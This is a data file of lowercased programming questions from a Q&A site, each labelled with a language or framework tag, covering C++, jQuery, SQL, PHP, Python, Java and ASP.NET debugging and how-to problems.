no errors in code  but when i run the program i get the  polynomial.exe has stopped working  error  i have this assignment where i am supposed to use a linked list to store polynomials and perform basic mathematical functions on them. i wrote the code to accept and print the polynomial. eclipse doesnt show any error  the programs runs and accept the coefficients properly  but after that it simply stops working and a dialog box pops up saying  polynomial.exe has stopped working  here is the code:   <pre><code>#include&lt;iostream&gt; using namespace std;      class term     {     private:         int coef;         int pow;         term *next;         friend class polynomial;     public:         term(int a int b)         {             coef=a;             pow=b;             next=null;         }     };     class polynomial     {     private:         term *head;     public:         polynomial()         {             head=null;         }         void ini()         {             int deg;             cout&lt;&lt; enter degree of polynomial ;             cin&gt;&gt;deg;             head=create(deg);         }         term *create(int deg)         {             int coeff;             cout&lt;&lt; enter coefficient for the term x^ &lt;&lt;deg;             cin&gt;&gt;coeff;             term q=term(coeff deg);             if(deg==0)             {             q.next=null;             }             else             {             q.next=create(deg-1);             }             return &amp;q;         }         void pri()         {             term *temp;             for(temp=head;temp-&gt;next!=null;temp=temp-&gt;next)             {                 cout&lt;&lt;temp-&gt;coef;             }         }     };     int main()     {         polynomial a=polynomial();         a.ini();         a.pri();         return 0;     } </code></pre>   can someone tell me why this is happening,c++
clearing javascript object to fix jquery animation  i m working on creating an interactive mobile info page about running injuries and prevention. here s how it s designed to work:     8 icons are aligned on the page. when the user clicks an icon  all other icons with fade away  while the one that was clicked will animate to the top of the screen.     from here  some informative text will appear that associates with that icon (the text is not shown in the jsfiddle. it s not related to my issue).    a back button will also appear along with the text. if the user clicks the back button  the text will disappear and the icon will animate back to its original position.    the moving icon itself is created using jquery <code>clone</code>. animations and styles are applied to the clone  and it s hidden when it goes back to the original spot.    when running the jquery that makes this animation  i store a value <code>pos</code> that keeps the original position of the icon that was clicked. this is so that when the user clicks  back   it will return to the correct spot. <code>pos</code> is an object that stores the <code>left</code> and <code>top</code> values  and therefore accessed via <code>pos.top</code> and <code>pos.left</code>. here s a snippet of this in action. this stores my original position:   <pre><code>$gridimg.click(function() {      ...      $clone = $(this).clone();      var pos = $(this).position();      $clone.css({         position:  absolute           left: pos.left          top: pos.top }); </code></pre>   here s a snippet of the html for each icon (the images have been replace with creepy smileys:   <pre><code>&lt;div class= rice-injury-grid &gt;      &lt;!-- first icon --&gt;          &lt;div data-title= rest  class= grid-img &gt;         &lt;img id= rest-img   alt= rest  src= http://icons.iconseeker.com/png/64/sketchcons-x/smiley-3.png /&gt;     &lt;/div&gt;      &lt;!-- second --&gt;     &lt;div data-title= blister  class= grid-img &gt;         &lt;img id= blister-img  alt= blisters  src= http://icons.iconseeker.com/png/64/sketchcons-x/smiley-3.png /&gt;     &lt;/div&gt;      &lt;!-- third --&gt;         &lt;div data-title= ice  class= grid-img &gt;         &lt;img id= ice-img  alt= ice  src= http://icons.iconseeker.com/png/64/sketchcons-x/smiley-3.png /&gt;     &lt;/div&gt;      &lt;!-- and so on... --&gt; </code></pre>   <strong>my issue is this:</strong> throughout using this app  each time the user chooses an icon  it stores the <code>pos</code> value indefinitely  so now every time i hit the  back  button  the icon returns to each position that s been previously chosen.    i m looking for a way to clear the <code>pos</code> value each time the icon goes back to its original position.    see the <a href= http://jsfiddle.net/yjwkn/  rel= nofollow ><strong>jsfiddle</strong></a> for a demo. go through at least 2 separate icon sequences to see the full effect.,jquery
third party controls and scripts  looking for a good resource to find asp.net controls and such. i don t mind purchasing them so open source is not my only consideration.    i have a social site that i want to build but i do not want to reinvent the wheel. things like membership and user managment  banner ad managment  forums etc.. are common features in most any social site so i was hoping to purcahase that code.    i have considered dotnetnuke but this is a learning project and not every organization uses dnn so i figure i can learn things about asp.net dev by writng my own app that i would not by using dnn.,asp.net
how do you calculate the difference in dates from 2 fields on 2 different rows in sql   i have a query that i am trying to find the date difference in columns in 2 different rows. <code>starttime</code> and <code>endtime</code> are in different tables as well. below is an example of my results and query. i need to find the difference in <code>endtime</code> from row 1 and <code>starttime</code> in row 2. i need to continue this sequence all the way through my results.   <pre><code>starttime               endtime 2015-04-22 07:53:00.000 2015-04-22 08:27:00.000 2015-04-22 09:12:00.000 2015-04-22 10:46:00.000 2015-04-22 12:12:00.000 2015-04-22 13:06:00.000 2015-04-23 07:36:00.000 2015-04-23 08:34:00.000 2015-04-23 09:50:00.000 2015-04-23 10:48:00.000 </code></pre>   this is my query:   <pre><code>select op1.op1datetime as starttime         op2.op7datetime as endtime from schorpatcases pc     inner join schpatorcasetimesop1 op1 on op1.caseid = pc.patientcaseid     inner join schpatorcasetimesop2 op2 on op2.caseid = op1.caseid     inner join abstractdata a on a.accountnumber = pc.admexturn where pc.operationroomid in ( ormain03 ) and a.patientclass not in  ( in   inmcr   inmcd ) order by starttime </code></pre>,sql
want to know if sql is correct  i would like to know if the following mysql is correct.    especially  i would like to make sure that the following points are right:   <ul> <li>the primary key fields.</li> <li>the varchar(500) to store a quotation (i.g.  famous words by certain people such as philosophers or politicians).</li> <li>the external keys.</li> </ul>   thank you so much!   <pre><code>create table quote (     id int unsigned not null auto_increment primary key      quote varchar( 500 ) not null ); create table topic (     id int unsigned not null auto_increment primary key      topic varchar( 50 ) not null      parenttopic int unsigned      foreign key (parenttopic) references topic(id) ); create table quotetopics (     quote int unsigned not null      topic int unsigned not null      primary key (quote  topic)      foreign key ( quote ) references quote(id)      foreign key ( topic ) references topic(id) ); </code></pre>,sql
php extract text from word file pages wise  i want to extract text from an msword file (eg: .docx) to use the content of msword file in my php script.    is it possible to get <em>all pages</em> in an array of php  like   <pre><code>$array = [    [0] =&gt;  content here......      [1] =&gt;  content here......      [2] =&gt;  content here......   ]; </code></pre>   where index 0 is page one  index 1 is page two and so on.,php
i got this error: unhandled exception at 0x5b4efb53 (msvcr120d.dll) in myfirstproject.exe: 0xc0000005: access violation reading location 0xcccccccc  i am currently working on a quiz program that is configurable from a text file. the problem comes when i try to make the program to only print array 0 to 3. sorry if my question is a noob-ish question. i m new to c. what s wrong with my code     update:    the code works after array[i++] is changed to array[j++]. for the first loop  it works fine. but the next loop  the data stored inside the arrays seem to be messed up. i edited the testingc.txt content too just to test the new random that is suggested by paul ogilvie.    first output:   <pre><code>this is the first question a.really b.no c.yes </code></pre>   after i put in c as the answer  it prints correct! and the marks. but for the next loop  it gives this output:   <pre><code>which one of this is an os  s 10 b.microsoft word </code></pre>   code:   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main() {     //variables     int i  linepick  line = 1  found = 0  marks = 0  j = 0;     char chars[1000]  answer[1000]  questionfile[] =  c:\\users\\cbtcode\\desktop\\testingc.txt ;      file *file;     file = fopen(questionfile   r );      if (file == null) {         printf( can t find question file.\n );     }     else {     while (fgets(chars  1000  file))      {         linepick = rand() % 20 + 1;         for (i = 0; i &lt; linepick; i++)          {             if (fgets(chars  1000  file) == null)             {                 break;             }             else             {                 found = 1;                 char *p;                 char *array[1000];                  p = strtok(chars   ; );                  while (p != null)                  {                     array[j++] = p;                     p = strtok(null   ; );                 }                 if (array != null)                 {                     printf( %s\n   array[0]);                     printf( %s\n   array[1]);                     printf( %s\n   array[2]);                     printf( %s\n   array[3]);                     scanf( %s   answer);                      if (strcmp(answer  array[4]) == 0) {                         printf( correct!\n );                         marks = marks + 10;                         printf( your marks: %d%%\n\n   marks);                     }                     else {                         printf( wrong!\n );                         marks = marks - 10;                         printf( your marks: %d%%\n\n   marks);                     }                 }                 else                 {                     printf( error: can t find the question! );                 }             }         }         line++;     }     if (found == 0)     {         printf( error: line number %d was not found.   linepick);     } } </code></pre>   my testingc.txt content:   <pre><code>this is the first question;a.really;b.no;c.yes;c; this is the first question;a.really;b.no;c.yes;c; which one of these is an os;a.windows 10;b.microsoft word;c.notepad;c; </code></pre>,c
subkiller game not firing properly when press my fire key  i have the following program  it s a subkiller game and i have one question. how do i make the boat launch the bomb anytime i press the down key  so far i have made to launch it multiple times. i can launch the first bomb but when i m trying to launch the second one  the first one disappears and it doesn t continue it s way. i am stuck on this matter for almost two days  help me please.    i am going to provide you the sscce code. this is the class called subkillerpanel  basically everything is here  the boat is here  the bomb is here  the submarine is here.   <pre><code>import java.awt.event.*; import javax.swing.*; import java.awt.graphics; import java.awt.color;  public class subkillerpanel extends jpanel {     private static final long serialversionuid = 1l;     private timer timer;     private int width  height;     private boat boat;     private bomb bomb;     private submarine sub;      public subkillerpanel() {         setbackground(color.white);         actionlistener action = new actionlistener() {             public void actionperformed(actionevent evt) {                 if (boat != null) {                     boat.updatefornewframe();                     bomb.updatefornewframe();                     sub.updatefornewframe();                 }                 repaint();             }         };          timer = new timer( 20  action );         addmouselistener( new mouseadapter() {             public void mousepressed(mouseevent evt) {                 requestfocus();             }         } );         addfocuslistener( new focuslistener() {             public void focusgained(focusevent evt) {                 timer.start();                 repaint();             }              public void focuslost(focusevent evt) {                 timer.stop();                 repaint();             }         }  );         addkeylistener( new keyadapter() {             public void keypressed(keyevent evt) {                 int code = evt.getkeycode(); // ce tasta a fost apasata                 if (code == keyevent.vk_left) {                     boat.centerx -= 15;                 }                 else                      if (code == keyevent.vk_right) {                         boat.centerx += 15;                     }                     else                          if (code == keyevent.vk_down) {                             if (bomb.isfalling == false)                                 bomb.isfalling = true;                                 bomb.centerx = boat.centerx;                                 bomb.centery = boat.centery;                         }             }         }  ); }      public void paintcomponent(graphics g) {         super.paintcomponent(g);         if (boat == null) {              width = getwidth();             height = getheight();             boat = new boat();             sub = new submarine();             bomb = new bomb();         }          if (hasfocus())             g.setcolor(color.cyan);         else {             g.setcolor(color.red);             g.drawstring( click to activate   20  30);             g.setcolor(color.gray);         }          g.drawrect(0 0 width-1 height-1);         g.drawrect(1 1 width-3 height-3);         g.drawrect(2 2 width-5 height-5);         boat.draw(g);         sub.draw(g);         bomb.draw(g); }      private class boat {         int centerx  centery;          boat() {             centerx = width/2;             centery = 80;         }          void updatefornewframe() {             if (centerx &lt; 0)                 centerx = 0;             else                  if (centerx &gt; width)                     centerx = width;         }          void draw(graphics g) {             g.setcolor(color.blue);             g.fillroundrect(centerx - 40  centery - 20  80  40  20  20);         }        }      private class bomb {         int centerx  centery;          boolean isfalling;           bomb() {             isfalling = false;         }          void updatefornewframe() {             if (isfalling) {                 if (centery &gt; height) {                     isfalling = false;                 }                 else                      if (math.abs(centerx - sub.centerx) &lt;= 36 &amp;&amp; math.abs(centery - sub.centery) &lt;= 21) {                         sub.isexploding = true;                         sub.explosionframenumber = 1;                         isfalling = false; // bomba reapare in barca                     }                     else {                         centery += 10;                     }             }            }          void draw(graphics g) {              if ( !isfalling ) {                 centerx = boat.centerx;                 centery = boat.centery + 23;             }              g.setcolor(color.red);              g.filloval(centerx - 8  centery - 8  16  16);          } }       private class submarine {         int centerx  centery;         boolean ismovingleft;         boolean isexploding;         int explosionframenumber;          submarine() {             centerx = (int)(width*math.random());             centery = height - 40;             isexploding = false;             ismovingleft = (math.random() &lt; 0.5);         }          void updatefornewframe() {             if (isexploding) {                 explosionframenumber++;                 if (explosionframenumber == 30) {                     centerx = (int)(width*math.random());                     centery = height - 40;                     isexploding = false;                     ismovingleft = (math.random() &lt; 0.5);                 }             }             else {                 if (math.random() &lt; 0.04) {                     ismovingleft = ! ismovingleft;                 }                 if (ismovingleft) {                     centerx -= 5;                     if (centerx &lt;= 0) {                         centerx = 0;                         ismovingleft = false;                     }                 }                 else {                     centerx += 5;                     if (centerx &gt; width) {                         centerx = width;                         ismovingleft = true;                     }                 }             }         }          void draw(graphics g) {             g.setcolor(color.black);             g.filloval(centerx - 30  centery - 15  60  30);             if (isexploding) {                 g.setcolor(color.yellow);                 g.filloval(centerx - 4*explosionframenumber  centery - 2*explosionframenumber                           8*explosionframenumber  4*explosionframenumber);                 g.setcolor(color.red);                 g.filloval(centerx - 2*explosionframenumber  centery - explosionframenumber/2                           4*explosionframenumber  explosionframenumber);             }         }     }  } </code></pre>   the subkiller class  where the main method is located.   <pre><code>import javax.swing.jframe;  public class subkiller {     public static void main(string[] args) {         jframe window = new jframe( sub killer game );         subkillerpanel content = new subkillerpanel();         window.setcontentpane(content);         window.setsize(700  700);         window.setlocation(0 0);         window.setdefaultcloseoperation( jframe.exit_on_close );         window.setresizable(false);         window.setvisible(true);     } } </code></pre>,java
how to add .a file in my xcode  how can i add .a file in my xcode,iphone
unexpected abort in c++  i have a piece of code i m running in cygwin in c++ i m compiling using   <pre><code>g++ -o program program.cpp </code></pre>   and it is returning an error that reads  aborted (core dumped) . it is intended to take a file name as input through a command line argument  count all the unique words and total words in the file  and prompts the user to input a word and counts how many times the word that they input occurs. it s only intended to use c++ streams for input/output.   <pre><code>    #include &lt;fstream&gt;     #include &lt;iostream&gt;     #include &lt;string&gt;     #include &lt;cctype&gt;     using namespace std;      int main(int argc  char *argv[])     {         string filename;         for( int i = 1; i &lt; argc; i++){             filename+=argv[i];         }         ifstream file;         file.open(filename.c_str());         if (!file)         {             std::cerr &lt;&lt;  error: cannot open file  &lt;&lt; filename &lt;&lt; std::endl;             return 1;         }         string* words;         int* wordcount;         int wordlength = 0;         string curword =   ;         bool isword;         int total = 0;         char curchar;         string input;         while(!file.eof())         {                      file.get(curchar);             if (isalnum(curchar)) {                 curword+=tolower(curchar);             }             else if (!curword.empty() &amp;&amp; curchar==   )             {                 isword = false;                 for (int i = 0; i &lt; wordlength; i++) {                     if (words[i]==curword) {                         wordcount[i]++;                         isword = true;                         total++;                     }                 }                 if (!isword) {                     words[wordlength]=curword;                     wordlength++;                     total++;                 }                 curword=  ;             }         }         file.close();         // end         cout &lt;&lt;  the number of words found in the file was   &lt;&lt; total &lt;&lt; endl;         cout &lt;&lt;  the number of unique words found in the file was   &lt;&lt; wordlength &lt;&lt; endl;         cout &lt;&lt;  please enter a word:   &lt;&lt; endl;         cin &gt;&gt; input;         while (input!= c^ ) {             for (int i = 0; i &lt; wordlength; i++) {                 if (words[i]==input) {                      cout &lt;&lt; wordcount[i];                 }             }         }     } </code></pre>,c++
check for specific key values in array - php  i am trying to check <code>$_post</code> keys for values    this is $_post:   <pre><code>array (     [user_lastname] =&gt; xx     [user_firstname] =&gt; x     [sex] =&gt; x     [email] =&gt; x@email.com     [key1] =&gt; no     [key2] =&gt; yes     [key3] =&gt; no     [submit] =&gt; next ) </code></pre>   these are the keys:   <pre><code>$arr = array( key1    key2    key3 ); </code></pre>   and was thinking of doing something like this ... just not sure how to go about it.   <pre><code>foreach($arr as $ar) {    //check values $_post keys for specific value(in my case `yes`)      } </code></pre>   so in the above example  <code>key2</code> has a value of <code>yes</code>  making it true.    and would like to pop off the <code>[submit] =&gt; next</code> key value from <code>$_post</code> if possible.,php
html_quickform addgrouprule   compare   thanks in advance for taking the time to look at this!       i m having trouble adding a compare group rule type with html_quickform.    here is the code:   <pre><code>$form-&gt;addgrouprule(  phone   array(       phone1  =&gt; array(         array(  enter num    required  )          array(  6 numbers    rangelength   array( 6  6 ) )     )       phone2  =&gt; array(          array(  enter num    required  )     )      array(  phone1    phone2  ) =&gt; array(         array(  must be equal    compare  )      ) )); </code></pre>   the last part is the one causing the problem.  the form will validate even if the two fields are different.    <pre><code>array(  phone1    phone2  ) =&gt; array(         array(  must be equal    compare  )      ) </code></pre>   any help would be greatly appreciated.,php
lock a part of value in input tag  suppose my input include two part  country and name.the part of name could change the value arbitrarily and the part of country s value is decided by an select only. how can i lock the value of country part   perhaps separate a input into two is a better idea,html
jquery click to randomize number on string only triggered once  i need to randomize the number part of string on every click  hence 1 after sample should be randomized (<strong>sample1</strong>). i am concerned with the data-sample part  but showing the value as well to show the same click don t do any good. i suspect the number is just string on the following clicks.    js fiddle <a href= http://jsfiddle.net/clhsr/2/  rel= nofollow >sample</a>.    html:   <pre><code>&lt;input id= input  value= sample1  data-sample= sample1 /&gt; &lt;button id= button &gt;randomize&lt;/button&gt; </code></pre>   jquery:   <pre><code>  var newrandomnumber = (math.random()*10)+1;   $( #button ).click(function () {     var value = math.floor(newrandomnumber);     $( #input ).attr( data-sample     ).attr( data-sample    sample  + value).val( sample  + value);     return false;   }); </code></pre>   any hint is very much appreciated. thanks.,jquery
javascript equivalent of php s include   in php there is a     <code>&lt; php include( file.php );  &gt;</code>    is there an equivalent in javascript.,javascript
login to a website using some code and run a report  i know this is a strange question  but my purpose is totally legit. i have an login to a website that i get reports every day from. now i d like to automate the report exporting just so i don t have to go there and export that csv file 3 times a day.     i ve asked them if they had a api that i can use  or if they can schedule an report export to my ftp; but the answer was no to both. so i d like to know if there is a way i can write some code and login to the website then grab what i wanted every 6 hours...     let me know if my question doesn t make sense. i just wanted some ideas about this if possible.     cheers,.net
how to use url parameters in commandparameters  i m working on asp project and i want to use commandparameters    my question is how to put the value of controlid by using url parameter    i try this but doesnt working   <pre><code>&lt;asp:entitydatasource id= entitydatasource1  runat= server  connectionstring= name=dentistentities  defaultcontainername= dentistentities  commandtext= select p.[id] p.[firstname] p.[lastname] p.[dob] p.[firstvisiting] from dentistentities.patients  as p where p.[firstname]=@firstname &gt; &lt;commandparameters&gt;     &lt;asp:controlparameter name= firstname  controlid= &lt;% request.querystring[ firstname ] %&gt;  type= string /&gt; &lt;/commandparameters&gt; &lt;/asp:entitydatasource&gt; </code></pre>   error on page   <blockquote>    could not find control  &lt;% request.querystring[ firstname ] %>  in controlparameter  firstname .  </blockquote>,asp.net
css - cannot override font-style in dropdown  i am trying to put custom styling only on the visible item when the drop down is closed  but not the items inside the drop down.    to do this  i put custom styling on <code>select</code>  then undo them on <code>option</code>. for example  i have <code>font-style: italic</code> set on a <code>select</code> element. but webkit browsers and ie10 seems to ignore font-style overrride.    html   <pre><code>&lt;select&gt;     &lt;option&gt;one&lt;/option&gt;     &lt;option&gt;two&lt;/option&gt;     &lt;option&gt;three&lt;/option&gt;     &lt;option&gt;four&lt;/option&gt; &lt;/select&gt; </code></pre>   css   <pre><code>select {     color: red;     font-style: italic; } option {     color: black; // undos color:red     font-style: normal!important; // this should undo the italic font style. } </code></pre>   <a href= http://jsfiddle.net/7xtlx/  rel= nofollow >jsfiddle</a>    why do those browsers ignore the font-style override even with <code>!important</code>  how can i fix this,css
python + disabled print output  and can t get it back  i found this block of code <a href= https://stackoverflow.com/questions/8391411/suppress-calls-to-print-python/8391926#answer-8391735 >elsewhere on stackoverflow</a>.  i ve been using it quite a bit  but now i can t seem to get any print function to work  no matter how many times i execute enableprint()...  any ideas    <pre><code># disable def blockprint():     sys.stdout = open(os.devnull   w )  # restore def enableprint():     sys.stdout = sys.__stdout__ </code></pre>   and print( test ) results in no output.  i m doing this all in juptyer.,python
the difference between $(    ) and       i used <code>var foo</code> and <code>var $foo</code> in my learning examples  but cannot tell the difference between:   <pre><code>&lt;p id= css &gt;css (cascading style sheets) is a representation style sheet language.&lt;/p&gt;  &lt;script src= https://cdn.jsdelivr.net/npm/jquery@3.2.1/dist/jquery.min.js &gt;&lt;/script&gt; &lt;script&gt;  $(document).ready(function(){     var js =  &lt;p id= js &gt;javascript often abbreviated as js  is a high-level  interpreted programming language.&lt;/p&gt; ;     var $jquery = $( &lt;p id= jquery &gt;jquery is a cross-platform javascript library designed to simplify the client-side scripting of html.&lt;/p&gt; );     $( #css ).after(js);     $( #css ).after($jquery); }) &lt;/script&gt; </code></pre>   in the above minimal codes  they function identically  when perform insert operations like <code>$().html  $().before()</code>.,jquery
php curl get server response <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/408405/easy-way-to-test-a-url-for-404-in-php >easy way to test a url for 404 in php </a>    </blockquote>     i am using curl to download a sequence of pdfs from the backend in php. i do not know when the sequence ends like 1.pdf  2.pdf......etc.    below is the code i am using to download pdf:   <pre><code>$url  =  http://&lt;ip&gt;.pdf ;     $path =  c:\\test.pdf ;      $fp = fopen($path   w );      $ch = curl_init($url);     curl_setopt($ch  curlopt_file  $fp);      $data = curl_exec($ch);      fclose($fp); </code></pre>   but how do i determine that that pdf do not exists in the backend  does curl returns any response when file not found     thanks in advance,php
passing commands to application cli from python script  to run shell command from python script  i generally use <code>subprocess</code> or <code>os.system</code> module.    using that i am running some shell command from python script which is initiating another application and that application also has command line interface.   <ol> <li>how would i pass commands to that application cli from my python script   </li> <li>how can i capture the output of application cli from my python script  </li> </ol>   it is highly appreciated if someone can suggest material or example code.,python
force css priorities to be the way i want them  i want this css to have it s priorities exactly as the order they are in:   <pre><code>/*highlight every second row in a .styledtable without .no-odd-row-higlight*/ .styledtable:not(.no-odd-row-highlight) tr:nth-child(odd) td{     background:#eeeeee; }  /*orange highlight  normally used by php*/ .highlight-orange  .highlight-tds-orange td{     background:#ff4000; }  /*yellow highlight  normally used by js*/ .highlight  .highlight-tds td{     background:#f7fe2e; } </code></pre>   i understand the reason they aren t doing so is specificity  but i can t work out how to make it work as i want it to. how can i make the first rule the least important  the second rule override the first  and the last rule override them all     thanks,css
iphone development resources  i ve started to play with the iphone sdk. what are the best resources to get started  (books  tutorials  blogs ),ios
asp.net membership/role - retrieve username  password based on email address  i need to have a page where when the user enters in their email (which is stored in the members/role table)  i then get back a username and password. i need to email the username and password to the user.     is there a stored procedure that does this      also might there be a control that handles this     thank you in advance,asp.net
list objects disposed automatically c#  i have public list contains custom objects  that i have declared into a windows form    <pre><code>private list&lt;connectedclient&gt; connectedclients = new list&lt;connectedclient&gt;(); </code></pre>   and i add object to it in certain event when client bind    <pre><code>private void server_evclientbind(object sender  serverclient client  bind data) { lock (connectedclients)    {        connectedclients.add(clientdto);    }  } </code></pre>   and when client submit message  i filter connectedclients list on event server_evclientsubmitsm by the client object received data then decide to accept it or reject from the client    <pre><code>private void server_evclientsubmitsm(object sender  serverclient client  submitsm data)     {         try         {                             connectedclient clientdto = null;             lock (connectedclients)             {                 clientdto = connectedclients.where(c =&gt; !string.isnullorwhitespace(c.serverclient.systemid) &amp;&amp; c.serverclient.systemid.trim() == client.systemid.trim()                 &amp;&amp; c.serverclient.localendpoint.address != null &amp;&amp; c.serverclient.localendpoint.address == client.localendpoint.address                 &amp;&amp; c.serverclient.localendpoint.port &gt; new int() &amp;&amp; c.serverclient.localendpoint.port == client.localendpoint.port).firstordefault();             }              if (clientdto != null)             {                 //receive message             }             else             {                 //object not exist              }         }     } </code></pre>   but after application sleep or on hold(client don t submit messages) for certain time period i don t know it  he back to submit messages but the below part return null    <pre><code>connectedclient clientdto = null;         lock (connectedclients)         {             clientdto = connectedclients.where(c =&gt; !string.isnullorwhitespace(c.serverclient.systemid) &amp;&amp; c.serverclient.systemid.trim() == client.systemid.trim()             &amp;&amp; c.serverclient.localendpoint.address != null &amp;&amp; c.serverclient.localendpoint.address == client.localendpoint.address             &amp;&amp; c.serverclient.localendpoint.port &gt; new int() &amp;&amp; c.serverclient.localendpoint.port == client.localendpoint.port).firstordefault();         } </code></pre>   i guess the issue is after couple of minutes the memory release the list objects  can anyone advice,c#
rails - get url(like url_for) without raising error if not found  i am getting url like this:   <pre><code>url_for(:controller =&gt; :controller  :action =&gt; :action-name) </code></pre>   this is raising error if the route is not found.<br> i want it to return empty url if the route is not found.    whats the solution  <br> thanks.,ruby-on-rails
is system.net.webclient.downloadfile() reading the downloaded file in chunks   is system.net.webclient.downloadfile() reading the downloaded file in chunks  or is it reading the whole file to memory  to dump it to disk in the end  does anybody know  from my tests it seems that the file is created with 0 bytes rightaway and then explodes to full size once the download has finished. but somehow this is so hard to believe because it would mean that 2gb of ram are occupied when downloading a 2gb file...that would be pointless.,.net
storing dynamic lengths of time on the database in ruby on rails  okay  so i need something like this:    <pre><code>time_span =  1.month   date = datetime.now  date = date + send( #{time_span} )  </code></pre>   where time_span is actually stored on the database  but that doesn t seem to work.. here s some console action:   <pre><code>$ rails c &gt;&gt; time_span = 1.month =&gt; 1 month &gt;&gt; date = datetime.now + time_span =&gt; fri  27 aug 2010 20:51:18 -0500 &gt;&gt; time_span.class =&gt; fixnum &gt;&gt; time_span =  1.month  =&gt;  1.month  &gt;&gt; date = datetime.now + time_span typeerror: expected numeric     ruby/1.8/date.rb:1236:in `plus_without_duration      date/calculations.rb:87:in `+      from (irb):5 </code></pre>   the idea is that i need to store 1.month as a string in the database because storing 1.month as a fixnum only stores the total number of seconds in that particular month  but i want it to be more dynamic based on the current month. i know <code>send</code> in this case isn t being used as it s documentation suggests  but i have seen it used in this manner.,ruby-on-rails
jquery scrollleft auto   what i m trying to do is if the mouse is over the  next  button it scrolls to the right at a slow speed and if the mouse isn t over the  next  button it stops scrolling     here is my attempt <a href= http://jsfiddle.net/mdanz/nccry/14/  rel= nofollow >http://jsfiddle.net/mdanz/nccry/14/</a>   <pre><code>$(function() {  $( #next-button ).hover(function() {     $( #display-container ).animate({          scrollleft :  +=120px      }   500 ); });  }); </code></pre>,jquery
how do i convert from camel case to dashed and dashed to camel case  1) how do you convert a camel case string like <code> backgroundcolor </code> to dashed case like <code> background-color </code> and     2) how do you convert dashed case <code> background-color </code> to camel case <code> backgroundcolor </code>,javascript
is it possible to round a float on display using css or angularjs   i have an angularjs properties that contain a float that i display like this :   <pre><code>{{fraisdedep.kilometre}} </code></pre>   the display is : 45 4564<br> how to display 45 45 without have a function that destroy the binding      does the method working for {{fraisdedep.kilometre * fraisdedep.indemnitekilometre *fraisdedep.allerretour}},angularjs
convert code snippet to c#  vs 2008     i have this code snippet i found on a vb website.    but for some reason i am having trouble converting it to c#.   <pre><code>my.computer.network.isavailable </code></pre>   many thanks,c#
how to supress a  class may not respond to  -method  warning with variable method name   how can i prevent this warning with a variable selector name    <pre><code>nsstring *methodname;  sel method = nsselectorfromstring(methodname);  if ([self respondstoselector:method]) {      if ([methodname hassuffix:@ : ])         [self method:dict];     else         [self method];  } </code></pre>,objective-c
c++ long division  whilst working on a personal project of mine  i came across a need to divide two very large arbitrary numbers (each number having roughly 100 digits).  so i wrote out the very basic code for division (i.e.  answer = a/b  where a and b are imputed by the user)and quickly discovered that it only has a precision of 16 digits! it may be obvious at this point that im not a coder!     so i searched the internet and found a code that  as far as i can tell  uses the traditional method of long division by making a string(but too be honest im not sure as im quite confused by it). but upon running the code it gives out some incorrect answers and wont work at all if a>b. im not even sure if there s a better way to solve this problem than the method in the code below!  maybe there s a simpler code      so basically i need help to write a code  in c++  to divide two very large numbers.  any help or suggestions are greatly appreciated!    <pre><code>#include &lt;iostream&gt;  #include &lt;iomanip&gt; #include &lt;cmath&gt;  using namespace std;  //avoids having to use std:: with cout/cin    int main (int argc  char **argv) {     string dividend  divisor  difference  a  b  s  tempstring =   ; // a and b used to store dividend and divisor.     int quotient  inta  intb  diff  tempint = 0;     char d;      quotient = 0;      cout &lt;&lt;  enter the dividend    ;      //larger number (on top)     cin  &gt;&gt; a;     cout &lt;&lt;  enter the divisor    ;           //smaller number (on bottom)     cin  &gt;&gt; b;      //making the strings the same length by adding 0 s to the beggining of string.     while (a.length() &lt; b.length())  a =  0 +a;          // a has less digits than b add 0 s      while (b.length() &lt; a.length())  b =  0 +b;          // b has less digits than a add 0 s      inta = a[0]- 0 ;                        // getting first digit in both strings     intb = b[0]- 0 ;      //if a&lt;b print remainder out (a) and return 0     if (inta &lt; intb)     {         cout &lt;&lt;  quotient: 0   &lt;&lt; endl &lt;&lt;  remainder:   &lt;&lt; a &lt;&lt; endl;     }       else     {         a =  0 +a;         b =  0 +b;         diff = intb;         //s = b;        // while ( s &gt;= b )          do         {             for (int i = a.length()-1; i&gt;=0; i--)            // do subtraction until end of string             {             inta = a[i]- 0 ;                    // converting ascii to int  used for munipulation             intb = b[i]- 0 ;                if (inta &lt; intb)                 // borrow if needed             {               a[i-1]--;                         //borrow from next digit               a[i] += 10;             }             diff = a[i] - b[i];           char d = diff+ 0 ;            s = d + s;                           //this + is appending two strings  not performing addition.              }          quotient++;          a = s;         // strcpy (a  s);         }           while (s &gt;= b); // fails after dividing 3 x s      cout &lt;&lt;  s string:   &lt;&lt; s &lt;&lt; endl;      cout &lt;&lt;  a string:   &lt;&lt; a &lt;&lt; endl;      cout &lt;&lt;  quotient:    &lt;&lt; quotient &lt;&lt; endl;      //cout &lt;&lt;  remainder:   &lt;&lt; s &lt;&lt; endl;      }      system ( pause );     return 0;     cin.get(); // allows the user to enter variable without instantly ending the program     cin.get(); // allows the user to enter variable without instantly ending the program </code></pre>   },c++
how to create instances of a class based on user input with a while loop  i am trying to create instances of a certain class based on user input and the display their attributes this is my code:   <pre><code>class member_of_team:    def __init__(self  outside_shot  inside_shot  handling  speed):         self.outside_shot = outside_shot         self.inside_shot = inside_shot         self.handling = handling         self.speed = speed            choice = input( would you like to enter a teamate   ) y = choice while  y ==  yes :      x = input( what is the teamates name   )     a = int(input( how good is he at shooting outside   ))     b = int(input( what about his inside shot   ))     c = int(input( how well is he at handling the ball   ))     d = int(input( how fast is he   ))     x = member_of_team(a  b  c  d)     y = input( do you want to enter another teamate   )  r = input( what member of the team woulsd you like to check up ) s = input( what would you like ot know about him )  print(r.s) </code></pre>   attributeerror:  str  object has no attribute  s,python
how can i set time delay between two functions in iphone   i build app which call to server.     it takes for 20 seconds - 30 seconds to get reply from server  because the system we use depending to outside service (connecting to our partners system).    before i can do the next  i must wait to get results.     is there any way to set the delay time for waiting reply       thanks in advance,iphone
